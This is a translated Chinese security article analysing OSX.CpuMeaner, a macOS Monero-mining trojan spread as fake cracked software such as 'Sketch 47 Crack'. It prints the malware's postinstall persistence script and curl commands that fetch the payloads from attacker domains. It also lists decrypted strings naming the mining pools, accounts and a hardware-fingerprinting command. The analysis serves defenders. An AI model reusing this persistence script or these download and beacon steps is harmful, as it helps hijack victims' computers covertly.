OSX.CpuMeaner:针对macOS平台的新型挖矿木马

小龙 2017-12-7 信息安全 0 0

 

1.jpg

在这篇文章中,我们将给大家分析一种针对macOS的新型加密货币挖矿木马。这种恶意软件在感染了目标设备之后,会悄悄下载挖矿程序,并利用目标用户的硬件设备来挖门罗币(Monero)。

需要注意的是,这款恶意软件与OSX.Pwnet非常相似,因此它们所实现的方法也是非常相近的,这种情况在恶意软件领域中非常常见。

恶意软件感染

很多用户喜欢从各种渠道来获取盗版软件或破解软件,有时是用户主动利用搜索引擎获取来的,而有时是用户不小心点击了恶意链接而感染的。而且在技术支持诈骗之类的恶意活动中,攻击者很可能还会通过伪造的Flash Player或免费病毒扫描之类的东西来给目标用户传播恶意软件。在下面显示的例子中,用户正在尝试搜索破解版的Sketch应用:

2.jpg

$ curl -svJOhttp://jumpcash.xyz/download.php -G -d e=pkg -d tag=mosx3 -d clickid=2305343 -dkey="Sketch 47 Crack"
*  Trying 46.30.45.236...
* Connected to jumpcash.xyz (46.30.45.236)port 80 (#0)
> GET /download.php?e=pkg&tag=mosx3&clickid=2305343&key=Sketch47 Crack HTTP/1.1
> Host: jumpcash.xyz
> User-Agent: curl/7.43.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx/1.4.6 (Ubuntu)
< Date: Tue, 14 Nov 2017 10:19:17 GMT
< Content-Type: application/octet-stream
< Content-Length: 169267
< Connection: keep-alive
< X-Powered-By: PHP/5.5.9-1ubuntu4.21
< Content-Description: File Transfer
< Content-Disposition: attachment;filename=Sketch_47_Crack-2305343-823868397374412531.pkg
< Content-Transfer-Encoding: binary
< Expires: 0
< Cache-Control: must-revalidate
< Pragma: public
< 
{ [936 bytes data]
* Connection #0 to host jumpcash.xyz leftintact
 
$ shasum -a 256Sketch_47_Crack-2305343-823868397374412531.pkg 
7a6cc593a8fb2853b817013e28681fa1698fd59d0cea69ba06b7a4b6dc3d5c80 Sketch_47_Crack-2305343-823868397374412531.pkg

大家可以看到,目的文件名filename的生成使用了key以及clickid的值。当然了,用户最终下载下来的数据包中并没有任何的破解软件:

3.jpg

我们还在一个伪造的种子站点(法国网站)中发现了这种威胁:

4.jpg

从2017年9月的下半月开始,有不少的用户开始在苹果的官方论坛中举报xmemappcpucooler这两款可执行程序,而根据VirusTotal给出的数据,目前这种安全威胁影响非常广泛,而且它们威胁的检出率均为0。

数据包分析

本文发稿时,服务器仍有三个数据包可下载:

$ for tag in mosx{1,2,3} ; do curl -s -o$tag.pkg http://jumpcash.xyz/download.php -G -d e=pkg -d tag=$tag ; done
 
$ shasum -a 256 mosx*.pkg
d15a51bb1a88a8906a997a0d4c0d3fb35ddd64b722af23120600eeea989ecef9  mosx1.pkg
c3c0da504e40359ce8247b912cbff00cbd32a2222cb53a6bd30f2e44f7781049  mosx2.pkg
7a6cc593a8fb2853b817013e28681fa1698fd59d0cea69ba06b7a4b6dc3d5c80  mosx3.pkg

这三个数据包都使用了相同的开发者证书来签名:

$ ls mosx*.pkg | xargs -L 1 pkgutil--check-signature | awk '/Developer ID Installer/'
   1. Developer ID Installer: Artur Nurgaliev (DEWCRD3789)
   1. Developer ID Installer: Artur Nurgaliev (DEWCRD3789)
1. Developer IDInstaller: Artur Nurgaliev (DEWCRD3789)

而苹果在2017年10月份已经撤销了这个证书:

$ ls mosx*.pkg | xargs -L 1 spctl --assess-v --type install
mosx1.pkg: CSSMERR_TP_CERT_REVOKED
mosx2.pkg: CSSMERR_TP_CERT_REVOKED
mosx3.pkg: CSSMERR_TP_CERT_REVOKED

mosx.pkg数据包负责安装xmemapp,而mosx2.pkg或mosx3.pkg负责安装cpucooler:

Payload可执行程序的哈希并不相同:

$ for tag in mosx{1,2,3} ; do pkgutil--expand $tag.pkg $tag && tar xf $tag/Payload -C $tag ; done
 
$ shasum -a 256 mosx*/{x,c}*
d196aba4d59b132fc9cd6f6ba627166a8eb6631017636b0ed4df7fd0260524a5  mosx1/xmemapp
47e523a8b796c27b6c0fe91a4781aa7b47c8d66ddb75117d3f3283a6079ff128  mosx2/cpucooler
5c41ab1d3aaa33e021eb73c1a58894df8e679366d2f03663b8f1029a0dc80f26  mosx3/cpucooler

它们都没有代码签名:

$ ls mosx*/{x,c}* | xargs -L 1 codesign-dvvv
mosx1/xmemapp: code object is not signed atall
mosx2/cpucooler: code object is not signedat all
mosx3/cpucooler: code object is not signedat all

它们会安装在不同的目录路径:

$ for tag in mosx{1,2,3}; do echo $tag:$(xmllint --xpath "string(//pkg-info/@install-location)"$tag/PackageInfo) ; done
mosx1: /Library/Application Support/XMemApp
mosx2: /Library/ApplicationSupport/CpuCooler
mosx3: /Library/ApplicationSupport/CpuCooler

安装完成之后,数据包会自动运行postinstall脚本,并进行以下操作:

1.      将文件launchd.plist写入目录/Library/LaunchAgents以实现持久化;

2.      加载Launch Agent;

3.      等待10秒,并终止所有相关进程;

4.      在后台等待60秒然后运行可执行程序;

下面给出的就是mosx2和mosx3数据包的postinstall脚本:

#!/bin/bash
IDENTIFIER="com.osxext.cpucooler"
INSTALL_LOCATION="/Library/ApplicationSupport/CpuCooler/cpucooler"
 
LAUNCH_AGENT_PLIST="/Library/LaunchAgents/$IDENTIFIER.plist"
 
echo '<?xml version="1.0"encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC"-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
   <key>Label</key>
   <string>'$IDENTIFIER'</string>
   <key>Program</key>
   <string>'$INSTALL_LOCATION'</string>
   <key>RunAtLoad</key>
   <true/>
</dict>
</plist>' >"$LAUNCH_AGENT_PLIST"
 
FILENAME=$(basename "$1")
/bin/launchctl load"$LAUNCH_AGENT_PLIST"
sleep 10 && sudo pkill cpucooler
sleep 60 && /Library/Application\Support/CpuCooler/cpucooler "$FILENAME" &
exit

可执行程序分析

xmemapp和cpucooler是基于XMRigv2.3.1(一款开源的门罗币CPU挖矿工具)自定义开发的,开发人员对其中的某些字符串进行了反混淆,而且还会给服务器发送反馈信息:

Postback::sendPostback(std::stringconst&);
Utils::Utils();
Utils::encdec(std::string);
Utils::exec(std::string const&);
Utils::getNumber();
Utils::hex_to_string(std::stringconst&);
Utils::jenkins_one_at_a_time_hash(std::string,unsigned long);
Utils::str_replace(std::string, std::stringconst&, std::string const&);
Utils::~Utils();

默认参数在main()函数中设置,硬编码的选项如下:

矿池服务器URL:-o
矿池服务器用户名:-u
矿池服务器密码:-p x
挖矿工具线程数:-t 2

Utils::encdec()会使用Utils::hex_to_string()来解码十六进制字符串,并用“0x4e”与解密后的结果进行异或运算:

$ strings mosx3/cpucooler | egrep -e^[[:xdigit:]]+$ -m 5
27213c2b296e633c2a7f6e63397e6e632d6e0f3e3e222b0f060d070a273d250a3c27382b3c6e326e2f39256e69611d2b3c272f226e003b232c2b3c6135293d3b2c666c126c6c626e6c6c626e6a7a67753e3c27203a6e6a7a3369
243b233e2d2f3d2660363734
23213d367d
3d3a3c2f3a3b23653a2d3e74616136233c603e212122602327202b3c292f3a2b602d2123747a7b7b787e
232f3c3a27202439262b2b3a0e232f2722602d2123
 
$ ../decrypt_strings.py mosx1/xmemappmosx{2,3}/cpucooler
Decrypted strings for: mosx1/xmemapp
ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'
jumpcash.xyz
mosx1
stratum+tcp://xmr.pool.minergate.com:45560
jeffguyen@mail.com
Decrypted strings for: mosx2/cpucooler
ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'
jumpcash.xyz
mosx2
stratum+tcp://xmr.pool.minergate.com:45560
jeffguyen@mail.com
Decrypted strings for: mosx3/cpucooler
ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'
jumpcash.xyz
mosx3
stratum+tcp://xmr.pool.minergate.com:45560
martinjwheet@mail.com

这些代码会使用双线程(200%的CPU资源)来挖矿,矿池为MinerGate XMR,账号是jeffguyen@mail.com(mosx1, mosx2)和martinjwheet@mail.com(mosx3)。

在使用真实参数运行时(例如postinstall脚本),main()函数会在第一个参数(包名)中寻找“-”和“.”,找到之后,便会使用子字符串作为参数来调用Postback::sendPostback()函数。

Postback::sendPostback()函数会给解密后的域名发送安装数据(使用Utils::getNumber()):

$ curl -A MNR -w "%{http_code}"http://jumpcash.xyz/pb.php -G -d t=mosx3 -d mid=2162179746 -di=2305343-823868397374412531
200

Utils::getNumber()会使用Utils::exec()来运行“ioreg”命令,输出结果会使用Jenkins的哈希算法(one-at-a-timehash)来进行计算,并以十进制显示,然后在请求的参数中使用。

搞笑的是,Utils::str_replace()函数和Utils::jenkins_one_at_a_time_hash()函数并没有使用到。

MNR2变种

在jumpcash.xyz域名下线之后,更多的变种版本出现在了其他的网站中,例如【这里】和【那里】:

5.jpg

$ for tag in mosx{2,3,np} ; do curl -s -o$tag.pkg http://storekit.xyz/api/v1/download.php -G -d e=pkg -d tag=$tag ; done
 
$ shasum -a 256 *.pkg
b6cbc89d0b5a8938c74c1f601a2b7a88b4a3391bf808d2c028885003a16d9b5a  mosx2.pkg
f1da940d6f417ef0001595ed816889ecdcacb41a3d6c921b6e039dc30e35ab8a  mosx3.pkg
6e0ec2d6754138b5971f417176136a7becfd75359919a8a5a3b4233aeaade9b3  mosxnp.pkg

数据包使用了另外的开发者证书:

$ ls mosx*.pkg | xargs -L 1 pkgutil--check-signature | awk '/Developer ID Installer/'
   1. Developer ID Installer: Adam Kortney (9ADZ437492)
   1. Developer ID Installer: Adam Kortney (9ADZ437492)
   1. Developer ID Installer: Adam Kortney (9ADZ437492)
 
$ ls mosx*.pkg | xargs -L 1 spctl --assess-v --type install
mosx2.pkg: accepted
source=Developer ID
mosx3.pkg: accepted
source=Developer ID
mosxnp.pkg: accepted
source=Developer ID

又一次,苹果在2017年11月22日撤销了这个证书:

6.jpg

安装的可执行程序又有了新的名字和存储位置:

$ for pkg in mosx*.pkg ; do echo $pkg:$(pkgutil --payload-files $pkg | egrep -v -e ^\.$) ; done
mosx2.pkg: ./mxcpu
mosx3.pkg: ./mxzcpu
mosxnp.pkg: ./moszcpu
 
$ for tag in mosx{2,3,np} ; do pkgutil --expand$tag.pkg $tag && tar xf $tag/Payload -C $tag ; done
 
$ shasum -a 256 mosx*/m*cpu
91b929d2470e3507b5faf5f12adb35046d96777e8b55b28b8e859a30924168b2  mosx2/mxcpu
b636b2cc15925e68c200449d5d78a9e169af379e4e3b007075ded00d777ffdc7  mosx3/mxzcpu
9a8b16f0a44cd63bf525142519b23481d4dcfd84d2dae02a0b0b9cb5caf1c147  mosxnp/moszcpu
 
$ for tag in mosx{2,3,np}; do echo $tag:$(xmllint --xpath "string(//pkg-info/@install-location)"$tag/PackageInfo) ; done
mosx2: /Library/Application Support/mxcpu
mosx3: /Library/Application Support/mxzcpu
mosxnp: /Library/ApplicationSupport/moszcpu

除此之外,它还使用了新的postinstall脚本,新脚本的工作流程如下:

1.  将launchd.plist文件写入到目录/Library/LaunchAgents中以实现持久化感染;

2.  如果设备已感染木马,则退出运行;

3.  将包名写入到/Library/ApplicationSupport/mosxnp/info文件中;

4.  加载并启动Launch Agent;

5.  等待5秒,然后检测程序是否在运行;

6.  如果没有运行,则在后台等待30秒再运行可执行程序;

7.  向服务器发送安装状态请求;

新版本的恶意软件基于XMRig v2.4.2开发,并且专门针对的是macOS Sierra以及更高版本(10.12+)的系统,在低版本系统中将会发生崩溃:

$ uname -v
Darwin Kernel Version 15.6.0: Mon Aug 2920:21:34 PDT 2016; root:xnu-3248.60.11~1/RELEASE_X86_64
 
$ ./mxzcpu 
dyld: lazy symbol binding failed: Symbolnot found: _clock_gettime
 Referenced from: /Library/Application Support/mxzcpu/./mxzcpu (which wasbuilt for Mac OS X 10.12)
 Expected in: /usr/lib/libSystem.B.dylib
 
dyld: Symbol not found: _clock_gettime
 Referenced from: /Library/Application Support/mxzcpu/./mxzcpu (which wasbuilt for Mac OS X 10.12)
 Expected in: /usr/lib/libSystem.B.dylib
 
Trace/BPT trap: 5

下面给出的是解密后的字符串:

$ ../decrypt_strings.py mosx*/m*cpu
Decrypted strings for: mosx2/mxcpu
storekit.xyz
mosx2
ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'
/Library/Application Support/mxcpu/info
stratum+tcp://xmr.pool.minergate.com:45560
jeffguyen@mail.com
Decrypted strings for: mosx3/mxzcpu
storekit.xyz
mosx3
ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'
/Library/Application Support/mxzcpu/info
stratum+tcp://xmr.pool.minergate.com:45560
martinjwheet@mail.com
Decrypted strings for: mosxnp/moszcpu
storekit.xyz
mosxnp
ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'
/Library/Application Support/moszcpu/info
stratum+tcp://xmr-eu1.nanopool.org:14444
49dP6YfhFHmLWb16jESv8V977cYzbx8zCXz6A7gUh1sn65jQ1eQgUpG9qCs2mfNhVW9Jm86RQpDGTHxokFnutubU6HQCeuN.34c5cb2b877d296b3fcfd9c6fb9a5da0c42b044e7fd52372ae5b6cd9bbe6c5c8.

总结

近期,越来越多的攻击者开始发动这种新型的“挖矿攻击”了,OSX.CpuMeaner就是很好的证明,而且这种攻击也开始出现在了Android和Linux服务器的身上。网络犯罪分子们会不断寻找新的赚钱途径,而这种加密货币挖矿攻击利用的是目标设备的硬件资源(如CPU、GPU或网络资源),普通用户很难发觉,因此这种攻击可以给攻击者带来不菲的收益。

只要还有炒币的人,这种攻击就会不断涌现。

* 参考来源:sentinelone,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

转载请注明来自华盟网,本文标题:《OSX.CpuMeaner:针对macOS平台的新型挖矿木马》

喜欢 (0) 发布评论